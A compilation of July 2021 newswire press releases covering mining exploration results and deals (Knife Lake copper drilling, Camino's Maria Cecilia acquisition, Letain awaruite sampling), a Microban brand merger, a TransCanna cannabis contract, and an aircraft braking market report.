The drill program at the Gilbert North and South target areas was designed to evaluate conductivity and magnetic anomalies identified during the winter 2021 airborne VTEM Plus survey and corresponding surficial geochemical anomalies. Following initial drilling at Gilbert North and South a Borehole Electromagnetic survey of all holes at the Gilbert North and South target areas was completed to refine targeting for the final holes of the program. Previous surficial work programs have indicated that the stratigraphic position of the targeted anomalies correlates with the Knife Lake Deposit to the east. Additional drilling at the Knife Lake Deposit was designed to infill resource drilling.

See Gilbert North and South Drill Hole Locations here

See Knife Lake Deposit Drill Hole Locations here

Rockridge's CEO, Jonathan Wiesblatt, commented: "From start to finish, the entire winter and spring exploration program including an airborne VTEM Plus survey and a 2,043m diamond drilling program at the Knife Lake Project was a great success overall. There are a number of exciting regional targets in close proximity to the Knife Lake deposit including the Gilbert Lake target area which was explored using modern day techniques for the very first time. The results thus far have further supported our working thesis that Knife Lake is not a one-off VMS deposit and that the prosects to add to the project's global resource remain high. Our priority for the balance of 2021 is to return to Knife Lake and to continue to advance the project and the deposit in a rising copper price environment. Rockridge's geological team is planning to return to Knife Lake later this summer to carry out an exploration program in preparation for another drill program later in the year. News flow will be forthcoming on these exploration programs."

Highlights

Highlight drill intercepts at the Gilbert South target area include pyrrhotite-pyrite dominant VMS-style mineralization hosted at the same stratigraphic horizon as the Knife Lake Deposit

Drilling focused on discovering VMS style copper deposits along newly defined conductors as well as at the Knife Lake VMS deposit

Deposit is thought to be a remobilized portion of a "primary" VMS deposit; most of the historical work has consisted of shallow drilling at the deposit area with little regional work carried out and limited deeper drilling below the deposit

There is strong discovery potential in and around the deposit as well as at regional targets on the Property; modern exploration techniques and methods are being utilized with a goal of making new discoveries

A summer 2021 exploration program will follow up on the results of this drill program and details on this program are forthcoming

Knife Lake Winter/Spring 2021 Diamond Drill Hole Results and Geological Summary

The final two holes of the program (KF21023 and KF21024), totaling 244.0m, were completed at the Gilbert Lake South target area which is approx. 6 km to the west of the Knife Lake Deposit. Hole targeting was refined using preliminary data from the 2021 BHEM survey, which was completed concurrently with drilling. The Gilbert South target, which is over 2.5 km in length, had never been drilled prior to the 2021 drill program. A second resource infill hole (KF21022) was drilled at the Knife Lake Deposit, totaling 59.0m.

See Knife Lake Priority Target Areas Map here

Gilbert South Target

Drill hole KF21023 intersected massive, semi-massive to net-textured pyrite - pyrrhotite  sphalerite  chalcopyrite between 73.91m - 75.83 m with lesser sulphide infill of foliation to 80.16m hosted in amphibole gneiss. The mineralization is associated with strong graphite alteration. Assays returned anomalous results within the mineralized zone including 496.2 ppm Cu, 1277.3 ppm Zn and 1.7 g/t Ag over 6.39m (73.81m - 80.20m).

See Gilbert North and South Targets here

Hole KF21024 was planned to undercut hole KF21023 to test for variability of mineralization down-dip. Mineralization in the hole was weaker than the up-dip intersection with weakly defined net-textured pyrrhotite-pyrite hosted pegmatite between 72.91m - 73.55m. Assay results did not return significant concentrations of precious or base-metals.

Knife Lake Deposit Drilling

Drill hole KF21022 was designed to under-cut hole KF21021 to test for variability in mineralization down-dip. Semi-massive to net texture pyrite-pyrrhotite-sphalerite mineralization is hosted in intermediate volcanic intervals and pegmatite intervals between 27.39m - 48.50m. Drillhole KF21022 returned 0.73% Cu, 0.06 g/t Au, 2.98 g/t Ag, 0.15% Zn and 0.01% Co (0.88% CuEq) over 21.11m starting at 27.39m.

See Knife Lake Infill Drilling Cross Section here

Drill Hole Results Table for Hole KF21022

Hole From To Core Length Cu Au Ag Zn Co CuEq (m) (m) (m) (%) (g/t) (g/t) (%) (%) (%) KF21022 27.39 48.50 21.11 0.73 0.06 2.98 0.15 0.01 0.88 Includes 29.16 35.00 5.84 1.33 0.24 5.05 0.24 0.01 1.64 Includes 32.00 35.00 3.00 1.44 0.09 4.97 0.30 0.01 1.66 and 29.16 30.00 0.84 1.84 0.44 7.52 0.26 0.02 2.35

* Drill indicated intercepts (core length) are reported as drilled widths; true thickness is undetermined.

** No cutoffs or metal recoverability were factored into CuEq calculations.

*** Assumptions used in USD for the copper equivalent calculation were metal prices of $4.50/lb Cu, $19.38/lb Co, $1,864.00/oz Au, $27.90/oz Ag, $1.38/lb Zn. Copper equivalent (CuEq) was calculated using the formula CuEq = Cu% + ((Zn%*Zn Price*22.0462) + (Co%*Co Price*22.0462) + (Augpt*Au Price/31.1035) + (Ag *Ag Price/31.1035)) / (Cu price*22.0462).

Summer 2021 Exploration Program

Planning is now underway for a fully funded and permitted summer 2021 exploration program to follow up on the encouraging results from this drill program. The program will include a VTEM Plus Geophysical program to expand on the winter 2021 geophysical program. VTEM Plus has proven to be a useful tool for target generation on the Knife Lake Property. Rockridge is also planning for a follow-up drill program later in the year as well.

Knife Lake Geology and History

The Knife Lake Deposit is interpreted to be a remobilized VMS deposit. The stratabound mineralized zone is approximately 15m thick and contains copper, silver, zinc, gold and cobalt mineralization which dips 30 to 50 eastward over a known strike-length within Rockridge's claim area of 3,700 metres, and a known average down-dip extension of approximately 300 metres.

See Knife Lake Deposit Map here

The deposit is hosted by felsic to intermediate volcanic and volcaniclastic rocks which have been metamorphosed to upper amphibolite facies. The deposit contains VMS mineralogy which has been significantly modified and partially remobilized during the emplacement of granitic rocks. The mineralization straddles the boundary between two rock units and occurs on both limbs of an interpreted overturned fold.

Rockridge completed twelve holes consisting of 1,053 metres of diamond drilling in the 2019 winter drilling program. This represented the first drilling on the property since 2001 and had two primary objectives: confirm the tenor of mineralization reported by previous operators and expand known zones of mineralization. Highlights from the drill program included previously reported hole KF19003 which intersected net-textured to semi-massive sulphide mineralization from 11.2m to 48.8m downhole. This 37.6 metre interval returned 2.03% Cu, 0.19 g/t Au, 9.88 g/t Ag, 0.36% Zn, and 0.01% Co for an estimated 2.42% CuEq. Additionally, previously reported drill hole KF19001 intersected net-textured to fracture-controlled sulphide mineralization from 7.5 metres to 40.6 metres downhole. This 33.1 metre interval returned 1.28% Cu, 0.12 g/t Au, 4.80 g/t Ag, 0.13% Zn, and 0.01% Co for an estimated 1.49% CuEq.

Compilation and initial modelling indicate potential for expansion of the deposit at depth. The recent drilling focused on resource upgrade as well as infill drilling between historical holes. The program gave Rockridge's technical team valuable insights into the property geology, alteration, and mineralization that will be applied to future regional exploration on the highly prospective and underexplored land package.

The Knife Lake deposit is a near surface VMS deposit starting a few metres below surface and the deposit remains open at depth and along strike for potential resource expansion. Recently Rockridge announced a maiden NI 43-101 resource estimate for the Knife Lake deposit (see the News Release dated August 14th, 2019) which consisted of an indicated resource of 3.8 million tonnes at 1.02% CuEq at a 0.4% CuEq cut-off (3.8 MT at 0.83% Cu, 3.7 g/t Ag, 0.097 g/t Au, 82 ppm Co, 1740.7 ppm Zn). In addition, there is an inferred resource of 7.9 million tonnes at 0.67% CuEq at a 0.4% CuEq cut-off (7.9 MT at 0.53% Cu, 2.4 g/t Ag, 0.084 g/t Au, 53.1 ppm Co, 1454.9 ppm Zn). Refer to the NI 43-101 Technical Report on the Mineral Resource Estimate for the Knife Lake Property, Saskatchewan dated September 27, 2019, filed on Sedar.

Knife Lake Option Agreement Details

To earn a 100% interest in the Knife Lake Project, Rockridge has agreed to make a cash payment to Eagle Plains of $150,000 (complete), issue up to 5,550,000 common shares of Rockridge (2,750,000 shares issued to date) and complete $3,250,000 in exploration expenditures ($1,195,000 to date) over four years. Eagle Plains will retain a 2% net smelter royalty ("NSR") on certain claims which comprise the project area. Under the terms of the agreement Rockridge is designated as the Operator of the project.

QA/QC

Samples were sent for geochemical analysis with ALS Global, Vancouver for the following analyses: 48 element four acid ICP-MS (ME-MS61) and gold (Au) 30 g Fire Assay - AA finish (Au-AA23). Over limit analysis were completed using the following analyses: Ore Grade copper (Cu), nickel (Ni) and zinc (Zn) - four acid ICP-AES (ME-OG62).

On receipt of final certificates of analysis, the QA/QC sample results were reviewed to ensure the order of samples were reported correctly, that the blanks ran clean, and that the results for each standard had minimal variance from its certified value. QA/QC for the Knife Lake drilling included certified reference material ("CRM's") and blanks that were inserted into each sample batch in order to verify the analytical from the lab.

Qualified Person

Kerry Bates, P. Geo., a "qualified person" for the purposes of National Instrument 43-101 - Standards of Disclosure for Mineral Projects, and a Geologist employed by TerraLogic Exploration Inc., has reviewed and approved the scientific and technical disclosure in this news release relating to the Knife Lake Project.

About Eagle Plains Resources

Based in Cranbrook, B.C., Eagle Plains continues to conduct research, acquire and explore mineral projects throughout western Canada. The Company is committed to steadily enhancing shareholder value by advancing our diverse portfolio of projects toward discovery through collaborative partnerships and development of a highly experienced technical team. Eagle Plains also holds significant royalty interests in western Canadian projects covering a broad spectrum of commodities. Management's focus is to advance its most promising exploration projects. In addition, Eagle Plains continues to seek out and secure high-quality, unencumbered projects through research, staking and strategic acquisitions. Throughout the exploration process, our mission is to help maintain prosperous communities by exploring for and discovering resource opportunities while building lasting relationships through honest and respectful business practices.

Expenditures from 2011-2020 on Eagle Plains-related projects exceed $22M, most of which was funded by third-party partners. This exploration work resulted in approximately 37,000 m of diamond-drilling and extensive ground-based exploration work facilitating the advancement of numerous projects at various stages of development.

On behalf of the Board of Directors

"Tim J. Termuende"

President and CEO

For further information on EPL, please contact Mike Labach at 1 866 HUNT ORE (486 8673)

Email: mgl@eagleplains.com or visit our website at http://www.eagleplains.com

Cautionary Note Regarding Forward-Looking Statements

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. This news release may contain forward-looking statements including but not limited to comments regarding the timing and content of upcoming work programs, geological interpretations, receipt of property titles, potential mineral recovery processes, etc. Forward-looking statements address future events and conditions and therefore, involve inherent risks and uncertainties. Actual results may differ materially from those currently anticipated in such statements.

SOURCE: Eagle Plains Resources Ltd

View source version on accesswire.com:https://www.accesswire.com/655439/Eagle-Plains-Partner-Rockridge-Resources-Intersects-Additional-Copper-Mineralization-and-Plans-Upcoming-Summer-Exploration-Program-at-the-Knife-Lake-Copper-Project-Saskatchewan
VANCOUVER, BC / ACCESSWIRE / July 14, 2021 / Camino Minerals Corporation (TSXV:COR)(OTC PINK:CAMZF)(WKN:A116E1) ("Camino" or the "Company") and Denham Capital affiliate, Stellar Investment Holdings LLC ("Stellar"), are pleased to announce the successful completion of Camino's acquisition of Minera Maria Cecilia Ltd. ("MMC BVI"), a British Virgin Islands company, as previously announced on March 30, 2021. As a result of the acquisition, Camino now controls the mineral rights and titles comprising the Maria Cecilia Porphyry and Skarn Complex ("Maria Cecilia") located in Ancash, Peru.

"Our plans to drill the significant porphyry system identified at Maria Cecilia in Peru, provides Camino with another copper discovery opportunity in 2021 to add to our copper asset portfolio. Drilling of our flagship Los Chapitos project is expected to commence in August, followed by Maria Cecilia," said Jay Chmelauskas, CEO of Camino. "Our Board of Directors is strengthened by the addition of Justin Machin, that will see Camino continue a strong corporate development effort."

Justin Machin, Director at Denham Capital commented, "With the Maria Cecilia transaction now closed, and Camino having completed its recent $7.5 million financing, the company is well positioned for its next phase of growth. I am looking forward to working closely with Jay and the rest of the Camino Board of Directors to build a leading junior mining company."

Camino acquired all of the shares of MMC BVI from Stellar pursuant to the terms of a share purchase agreement among Camino, Stellar, and MMC BVI dated March 30, 2021 (the "Share Purchase Agreement"). As consideration for the shares of MMC BVI, Camino issued 23,193,098 common shares in the capital of Camino (each, a "Common Share") to Stellar at a price of $0.20 per Common Share for an aggregate purchase price of approximately $4,638,620.

Concurrently with the closing of the acquisition, Camino closed a subscription by Stellar for 2,941,176 units of Camino (each, a "Unit") at a price of $0.17 per Unit for aggregate gross proceeds of approximately $500,000. This subscription was previously announced on March 30, 2021, and May 3, 2021. Each Unit consists of one Common Share and one half of a non-transferrable Common Share purchase warrant, with each whole warrant entitling Stellar to purchase an additional Common Share at a price of $0.25 per Common Share until July 13, 2023.

Also concurrently with the closing of the acquisition of MMC BVI, Camino and Stellar entered into an investor rights agreement (the "Investor Rights Agreement"), pursuant to which Stellar may not transfer any Common Shares until July 13, 2022, without Camino's prior approval, subject to certain customary exemptions including transfers to affiliates of Stellar. The Investor Rights Agreement also provides that as long as Stellar owns at least 10% of the Common Shares: (i) Stellar will have the right to nominate one person to Camino's board of directors; (ii) Camino must provide at least 10 business days' notice to Stellar of any proposed issuance of Camino securities in connection with a financing (an "Offering"); (iii) until July 13, 2024, Stellar will have the right to participate in an Offering so as to maintain ownership of up to approximately 19.9% of Camino; and (iv) after July 13, 2024, Stellar will have the right to participate in an Offering to as to maintain up to the same ownership of Camino as Stellar had immediately prior to the Offering, to a maximum ownership of approximately 19.9%. Pursuant to the Investor Rights Agreement, Justin Machin, a director at Denham Capital, was appointed to the board of directors of Camino concurrently with the closing of the acquisition.

Pursuant to the Share Purchase Agreement, Camino granted Stellar a contingent payment right, requiring Camino to pay Stellar an additional $0.02 per pound for each additional pound of copper equivalent mineral resources uncovered beyond the amount included in the current NI 43-101 technical report on Maria Cecilia. Camino may elect to settle the payment obligation, in its sole discretion, by either paying cash or issuing Common Shares at a price per Common Share equal to the greater of (i) the 10-day volume-weighted average price of the Common Shares on the TSX Venture Exchange immediately prior to the date of public disclosure of the relevant mineral resource, or (ii) the maximum discount to market price permitted by the TSX Venture Exchange. The contingent payment right is subject to a cap of approximately $5,361,380 and will terminate when that cap is reached.

Details of the Maria Cecilia porphyry complex, the Skarn and Stockworks were disclosed in Camino's news release dated March 30, 2021.

Financing

On May 19, 2021, the Company issued a news release announcing the closing of its non-brokered private placement for gross proceeds of $7,500,000 (the "Financing"). Proceeds of the Financing will be used for corporate purposes and to advance the exploration at Camino's three copper projects in Peru, including Maria Cecilia. In the May 19, 2021, news release, the Company announced that it paid finders' fees of C$314,880 in cash and issued 1,283,620 finders' warrants which entitle the holder to acquire one Common Share at a price of $0.25 per Common Share until May 18, 2023 (each, a "Finders' Warrant"). The Company wishes to correct the previous disclosure, as an aggregate of 1,852,233 Finders' Warrants (rather than 1,283,620 Finders' Warrants) were issued in connection with the Financing.

About Denham Capital

Denham Capital is a leading energy, resources, and sustainable infrastructure-focused global private equity firm with more than $10 billion of invested and committed capital since inception across eleven fund vehicles and offices in London, Boston, Houston, and Perth. The firm makes direct investments in the energy, resources and sustainable infrastructure sectors, including businesses involving renewable power, energy, resource development, and mining, across the globe. Denham's investment professionals apply deep operational and industry experience and work in partnership with management teams to achieve long-term investment objectives. For more information about Denham Capital, visit www.denhamcapital.com.

About Camino Minerals Corporation

Camino is a discovery and development stage copper exploration company. The Company is focused on advancing its high-grade Los Chapitos copper project located in Peru towards potential resource delineation and new discoveries. In addition, the company has commenced field studies at its copper and silver Plata Dorada project. The Company seeks to acquire a portfolio of advanced copper assets that have the potential to deliver copper into an electrifying copper intensive global economy. For more information, please refer to Camino's website at www.caminocorp.com.

ON BEHALF OF THE BOARD

/S/ "Jay Chmelauskas"

President and CEO

For further information, please contact:

Camino Investor Relations

info@caminocorp.com

Tel: (604) 608-4513

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

Cautionary Note Regarding Forward Looking Statements: Certain disclosures in this release constitute forward-looking information. In making the forward-looking disclosures in this release, the Company has applied certain factors and assumptions that are based on the Company's current beliefs as well as assumptions made by and information currently available to the Company. Forward-looking information in the release includes the approval of Camino's shareholders for any contingent payment (if applicable), prospectivity of the Maria Cecilia project for future exploration, exploration work on the Los Chapitos, Plata Dorada, and Maria Cecilia projects, or that actual results of exploration and engineering activities are consistent with management's expectations. Although the Company considers these assumptions to be reasonable based on information currently available to it, they may prove to be incorrect, and the forward-looking information in this release is subject to numerous risks, uncertainties and other factors that may cause future results to differ materially from those expressed or implied in such forward-looking information. Such risk factors include, among others, that actual results of the Company's exploration activities will be different than those expected by management, that the Company will be unable to obtain or will experience delays in obtaining any required approvals and the state of equity and commodity markets. Readers are cautioned not to place undue reliance on forward-looking statements. The Company does not intend, and expressly disclaims any intention or obligation to, update or revise any forward-looking statements whether as a result of new information, future events or otherwise, except as required by law.

SOURCE: Camino Minerals Corp.

View source version on accesswire.com:https://www.accesswire.com/655460/Camino-Closes-Acquisition-of-Maria-Cecilia-Porphyry-Complex-in-Peru-as-Part-of-Investment-Collaboration-with-Denham-Capital
VANCOUVER, BC / ACCESSWIRE / July 14, 2021 / Margaret Lake Diamonds Inc. ("MLD" or the "Company") (TSXV:DIA) (FKT:M85) is pleased to announce samples taken revealed a high concentration of coarse grain awaruite and management is having 10 x 5 kilogram rock chip samples tested by SGS Canada using "Davis Tube" (magnetic separation to obtain % magnetics) and assay on the concentrate product and tailings for Fe, Ni, S, Cr, Co as well as Rapid Mineralogical Scan on one composite sample. A report has recently been filed in compliance with National Instrument 43-101; the completed report is available under the Company's profile on SEDAR at www.sedar.com.

Figure 1 - Site visit to focus on 1km x 1.3km area of known Nickel-Cobalt mineralization

The Letain Property has similar geology and awaruite mineralization (fine and coarse grain texture) that is comparable to First Point Minerals Decar Property located in central BC. Decar contains an indicated resource of 1.99 billion tonnes at 0.122% magnetically recovered nickel, and inferred resource of 0.59 billion tonnes at 0.114% magnetically recovered nickel (updated mineral resource estimate by GeoSim Services Inc. September 9, 2020, FPX website). The high magnetic susceptibility and high density (specific gravity 8.2) makes awaruite amenable to magnetic and gravity separation. Margaret Lake Diamonds made a recent site visit to Letain by Qualified Person Jo Shearer (M.Sc., P.Geo.). Samples were taken in the area where previous sampling revealed a high concentration of coarse grained awaruite, [and management is having 10 x 5 kilogram rock chip samples tested by SGS Canada using "Davis Tube" (magnetic separation to obtain % magnetics) and assay on the concentrate product and tailings for Fe, Ni, S, Cr, Co as well as Rapid Mineralogical Scan on one composite sample]. This test will provide suitable information to assess preliminary metallurgy and contingent on results of SGS Davis Tube tests, further metallurgy may be planned for a larger sample, as well as preparing application for MX permits in order to drill test the awaruite bearing mineralization.

The Letain Property is located within the Cassiar Mountains approximately 70 kilometers ESE of Dease Lake in northern BC. The Letain Ni-(Co-Cr) property covers part of the Cache Creek Complex, which is an abducted ophiolitic sequence. Early exploration work demonstrates that ultramafic host natural occurring Ni-Fe alloys, and that fine to medium awaruite grains are disseminated in the serpentinized host rock. The peridotite also contains late stage fracture filling nephrite (associated with apple green colored, sheared texture picrolite and lizardite) hosted in antigorite-magnetite bearing serpentinite. In 2011, First Point Minerals conducted rock chip sampling that confirmed the presence of awaruite disseminated within the ultramafic (peridotite, dunite, mafic dyke) complex. Awaruite mineralization occurs in 2 different habits: fine Ni-Fe alloys or larger composite grains. Fine awaruite grains (10-100 m) are disseminated in the serpentine matrix. NiFe alloys have a highly reflective white/silver color. Larger composite grains (100-300 m) are a mixture of Ni-Fe alloys and lesser Ni-Fe sulphides. Subsequent mapping and sampling have shown the north portion of the property the peridotite is massive, black in color with fewer vein-fracture textures and the change in texture and color of the peridotite appears to have little or no effect on the Ni-Cr-Co content which appears to be relatively consistent (2,000-3,000 ppm Ni, 1,000-3,000 ppm Cr and 100-150 ppm Co) throughout the ultramafic that were rock chip sampled in 2017, covering a 1,000 X 1,200 meter area.

Letain Nickel

The Letain Ni claims cover ultramafic rocks that consist of variably deformed and serpentinized peridotite and minor dunite, associated intrusive mafic dykes, and fault-bound volcanic and sedimentary rocks which are part of the ophiolitic Cache Creek Group allochthonous terrain. Several peridotite-hosted zones contain fine and coarse Ni-Fe alloy grains (awaruite), which are exposed as bedrock ridges in the east-central portion of the claim group at 1,700-2,050 m elevation. Disseminated fine to coarser grain awaruite was found in serpentinized ultramafic rocks. In the north portion of the property the peridotite is massive, black in colour with fewer vein-fracture textures, however the change in texture of the peridotite appears to have little or no effect on the Ni-Cr-Co content which appears to be relatively consistent (2,000-3,000 ppm Ni, 1,000-3,000 ppm Cr and 100-150 ppm Co) throughout the ultramafic complex exposed on Tenure #1058958. Samples from the central ridge of the property delineated a 1,100-metre-long discontinuous zone of coarse-grained (>100m) awaruite. Rock chip samples (25 in total) in 2018 covered a 1 km x 1.3 km area located in the east-central part of the claims, where First Point Minerals discovered fine and coarse-grained awaruite (native Ni-Fe) mineralization in 2010-2011. Awaruite mineralization occurs in 2 different habits, fine Ni-Fe alloys or larger composite grains. Fine awaruite grains (10-100 m) are disseminated in the serpentine matrix. NiFe alloys have a highly reflective white/silver color. Larger composite grains (100-300 m) are a mixture of Ni-Fe alloys and lesser Ni-Fe sulphides. Awaruite (native Ni-Fe) occurrences are the focus of economic mineralization on the Letain nickel property.

Options

On July 14th the Board of Directors has approved the issuance of 3,000,000 options, which will vest immediately to officers and directors of the Company. Each option is exercisable into one common share of the Company (each, a "Common Share") at an exercise price of $0.05 per Common Share and has a term of five years.

The total number of outstanding options under the Company's plan including the grant above is now 3,500,000 options or approximately 6% of the outstanding Common Shares. The Stock Option Plan allows for up to 10% of the outstanding Common Shares to be reserved for stock options.

Qualified Person

The Qualified Person for this news release is Jo Shearer, an independent economic geologist with extensive experience in mineral exploration throughout North America. A Qualified Person under the provisions of National Instrument 43-101. Readers are cautioned that the information in this press release regarding the property of FPX Nickel is not necessarily indicative of the mineralization of the property of interest.

Contact Information

Neil Foran

Chief Executive Officer

(604) 681-7735

neil@margaretlakediamonds.com

Neither the TSXV nor its Regulation Services Provider (as that term is defined in the policies of the TSXV) accepts responsibility for the adequacy or accuracy of this release.

Forward-Looking Statements

This press release contains forward-looking information or forward-looking statements (collectively "forward-looking information") within the meaning of applicable securities laws. Forward-looking information is typically identified by words such as: "believe", "expect", "anticipate", "intend", "estimate", "potentially" and similar expressions, or are those, which, by their nature, refer to future events. The Company cautions investors that any forward-looking information provided by the Company is not a guarantee of future results or performance, and that actual results may differ materially from those in forward-looking information as a result of various factors. The reader is referred to the Company's public filings for a more complete discussion of such risk factors and their potential effects, which may be accessed through the Company's profile on SEDAR at www.sedar.com.

SOURCE: Margaret Lake Diamonds Inc.

View source version on accesswire.com:https://www.accesswire.com/655493/High-Grade-Awaruite-Obtained-During-Site-Visit-to-Letain-Along-1-km-X-13-km-Known-Nickel-Cobalt-Mineralization-Zone
North Carolina, United States--(Newsfile Corp. - July 14, 2021) - Microban International is proud to announce that it is bringing together its Microban and Ultra-Fresh brands and technologies under a single umbrella. Following the initial acquisition of Thomson Research Associates in 2016, Microban International will now completely harmonize the two organizations, as these titans unite to operate as a single company under the Microban International name. By consolidating their services and combining over 100 years of collective industry experience, Microban International can better serve its partners all around the world and continue to revolutionize the industry.

The Microban brand is widely recognized as the world leader in bespoke antimicrobial and odor-control solutions, delivering Protection That Lives On and redefining surface cleanliness. In parallel, the organization's newly emergent ingredient brand - Ultra-Fresh - delivers improved freshness for a broad spectrum of surfaces. This exciting move will allow the company to harness the trusted Microban brand alongside its Ultra-Fresh offering to create the broadest and most powerful antimicrobial product portfolio in the industry.

Microban will continue to develop innovative solutions for both product lines, and further extend its turnkey services and partner support - including technical, regulatory, and legal guidance - to remain a well-rounded and trusted advisor for all. With an ever-growing partner base in 172 countries, advanced facilities around the world, and the addition of Microban laboratories and offices in Canada, Shanghai and Taiwan, partners can look forward to even better coverage, support, and market penetration.

Michael Ruby, Vice President of Global Business at Microban International, commented: "Microban is proud to take this step, not only for the company but for its partners. Pushing the boundaries of innovation and building long-standing, meaningful business relationships has always been at the heart of our organization, and this exciting step will allow us to foster, nurture and develop new and existing connections. This is an opportunity for us to move forward; to continue to invest in ground-breaking technologies that benefit end-users, creating the broadest product portfolio in the industry while extending the reach of our valuable turnkey services for all of our partners."

Joe Lyons, President of Microban International, commented: "This is an important moment for the industry, as we consolidate the power of the trusted Microban and Ultra-Fresh brands under one company - Microban International. At Microban International, our brands are truly our strength, and with this move, we will continue to build our brand presence in the consumer, building, textiles, commercial and healthcare sectors, and leverage our capabilities to become a trusted household name and continue as the reigning global market leader."

Click here to learn more about Microban International.

About Microban International

Part of Barr Brands International (BBI), Microban International is home to the most trusted and well-known global brands in the antimicrobial, odor control, and sanitization / disinfection markets - Microban and Ultra-Fresh. Our organization has experienced over 100 collective years of growth and has revolutionized the industry. As the global leader, our proactive systems keep products cleaner, and control odors better by preventing problems before they start. Microban International drives innovation by combining science and creative solutions that enhance high-quality consumer, textile, industrial and medical products around the world. Today, the Microban and Ultra-Fresh brands and our technologies are featured on thousands of products worldwide. The company is headquartered in North Carolina with operations in North America, Europe, and Asia Pacific. For more information, please visit www.microban.com.

 2021 kdm communications limited

Editorial contact for further information or follow-up

Sarah Khan or Audrey Jestin at kdm communications limited, St Neots, UK

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To view the source version of this press release, please visit https://www.newsfilecorp.com/release/90210
Vancouver, British Columbia--(Newsfile Corp. - July 14, 2021) - TransCanna Holdings Inc. (CSE: TCAN) (FSE: TH8) (the "Company") is pleased to announce that its wholly owned subsidiary, Lyfted Farms, is launching 3rd party crop management services at a greenhouse site in Westley, California.

The client - Central Valley Growers, is a family-run company with over 25 years of history in traditional agriculture that had sought out Lyfted Farms specifically for its cannabis cultivation expertise and award-winning strains.

Lyfted Farms is contributing its premium cannabis genetics and is co-managing the state-of-the-art 22,000 square foot greenhouse with Cannafarms365m, a highly respected 3rd generation cannabis grower.

The fully licensed facility has a plants-in launch date of August 1, 2021, and is permitted for expansion to 80,000 square feet. Contractual revenues from the arrangement begin August 1, 2021.

"We are delighted to launch our first Lyfted Farms-managed crop on behalf of our first client," said Bob Blink, TransCanna CEO. "This contract represents proof-of-concept for our new Crop Management Services division, and will serve as a glowing example of what we can do for other local growers."

There are currently 2637 licensed cannabis greenhouse cultivation sites in the State of California.

In addition to providing crop management services, the agreement with Central Valley Growers also allows for Lyfted Farms to acquire excess biomass produced by the greenhouse for use as a reliable supply chain source for concentrate manufacturing using Lyfted Farms' premium genetics. Third party crop management and manufacturing are just two parts of TransCanna's overall aim to be one of the largest most vertically integrated cannabis companies in California.

About TransCanna

TransCanna Holdings Inc. is a California-based, Canadian-listed company building cannabis-focused brands for the California lifestyle, through its wholly-owned California subsidiaries.

TransCanna's wholly owned subsidiary Lyfted Farms is California's authentic cannabis brand whose pioneering spirit has been continuously providing the finest cannabis flower genetics and cultivation methods since 1984. The Lyfted Farms brand of exclusive cannabis flower is sold at premium retailers throughout the state. With its new cultivation facility in Modesto, California, the company is now poised to become one of the largest and most efficient vertically integrated cannabis companies in the California market.

For updated information with respect to our company, please see our filings on SEDAR at www.sedar.com and on the CSE at www.thecse.com, or visit the Company's website at www.transcanna.com. To contact the Company, please email info@transcanna.com.

On behalf of the Board of Directors

Bob Blink, CEO

Corporate Communications:

info@transcanna.com

604-200-8853



FORWARD-LOOKING INFORMATION:

Certain information in this release may contain forward-looking statements, such as statements regarding financial statement filing timelines, future expansions and cost savings and plans regarding production increases and financings. This information is based on current expectations and assumptions, including assumptions concerning the completion of the expansion of the Daly Facility, government approval of pro-cannabis policies, greater access to financial services and increased cultivation capacity, that are subject to significant risks and uncertainties that are difficult to predict. Actual results might differ materially from results suggested in any forward-looking statements. Risks that could cause results to differ from those stated in the forward-looking statements in this release include unexpected increases in operating costs, a continued strain on farmers due to fires and the Coronavirus pandemic and competition from other retailers. All forward-looking statements, including any financial outlook or future-oriented financial information, contained in this release are made as of the date of this release and are included for the purpose of providing information about management's current expectations and plans relating to the future. The Company assumes no obligation to update the forward-looking statements, or to update the reasons why actual results could differ from those reflected in the forward-looking statements unless and until required by securities laws applicable to the Company. Additional information identifying risks and uncertainties is contained in the Company's filings with the Canadian securities regulators, which filings are available at www.sedar.com.

Neither the Canadian Securities Exchange ("CSE") nor its Regulation Services Provider (as that term is defined in the policies of the CSE) accepts responsibility for the adequacy or accuracy of this release.

NOT FOR DISSEMINATION IN THE UNITED STATES OR FOR DISTRIBUTION TO U.S. NEWSWIRE SERVICES AND DOES NOT CONSTITUTE AN OFFER OF THE SECURITIES DESCRIBED HEREIN

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/90159
CHICAGO, July 14, 2021 /PRNewswire/ -- According to the new market research report "Aircraft Braking System Market by Aircraft Type, End Use (OEM, Aftermarket), Actuation (Power Brake, Boosted Brake, Independent Brake), Component (Wheels, Brake Discs, Brake Housing, Valves, Actuators, Accumulator, Electronics), Region - Forecast to 2026", published by MarketsandMarkets, the market size is projected to grow from USD 10.9 billion in 2021 to USD 13.1 billion by 2026, at a CAGR of 3.6% from 2021 to 2026. The market is driven by various factors, such as rise in demand from OEMs and increasing number of commercial flights.

Ask for PDF Brochure: https://www.marketsandmarkets.com/pdfdownloadNew.asp?id=54120278

The aircraft braking system market includes major players Honeywell International Inc. (US), Meggitt PLC (UK), Safran (France), Crane Co. (US), and Parker-Hannifin Corporation (US). These players have spread their business across various countries includes North America, Europe, Asia Pacific, Middle East, Africa, and Latin America. COVID-19 has impacted their businesses as well. Industry experts believe that COVID-19 has affected aircraft braking system production and services by 7-10% globally in 2020.

Demand for actuation in braking system will drive the demand for actuators segment

The actuators segment is expected to be the largest market by value. Actuators in braking systems are used to convert the hydraulic fluid pressure into motion. Brake actuators are used to move the piston to apply pressure to the discs together, thus generating friction to stop the aircraft. The majority of brake actuators used on commercial aircraft are hydraulic, although electrically powered electromechanical actuators are also present in the market. Brakes on the Airbus A220 (formerly known as the Bombardier C-series) and the Boeing 787 are actuated electromechanically.

The independent brake segment is projected to witness a higher CAGR during the forecast period

Based on actuation, the independent brake segment is projected to be the highest CAGR rate for the aircraft braking system market during the forecast period. The growth of the independent brake segment of the aircraft braking system market can be attributed to the increasing demand for general aviation and regional aircraft.

The Unmanned Aerial Vehicles segment is projected to witness the highest CAGR during the forecast period

Based on the aircraft type, the unmanned aerial vehicles segment is projected to grow at the highest CAGR rate for the aircraft braking system market during the forecast period. UAVs are commonly termed drones and are mostly known for their wide usage in various military missions such as border surveillance. They are also used for mapping, surveying, and determining weather conditions of a specific area. Certain remotely piloted UAVs are designed to operate as loitering munition for defense forces.

Browse in-depth TOC on "Aircraft Braking System Market"

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42 - Figures

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The OEM segment is projected to witness the highest CAGR during the forecast period

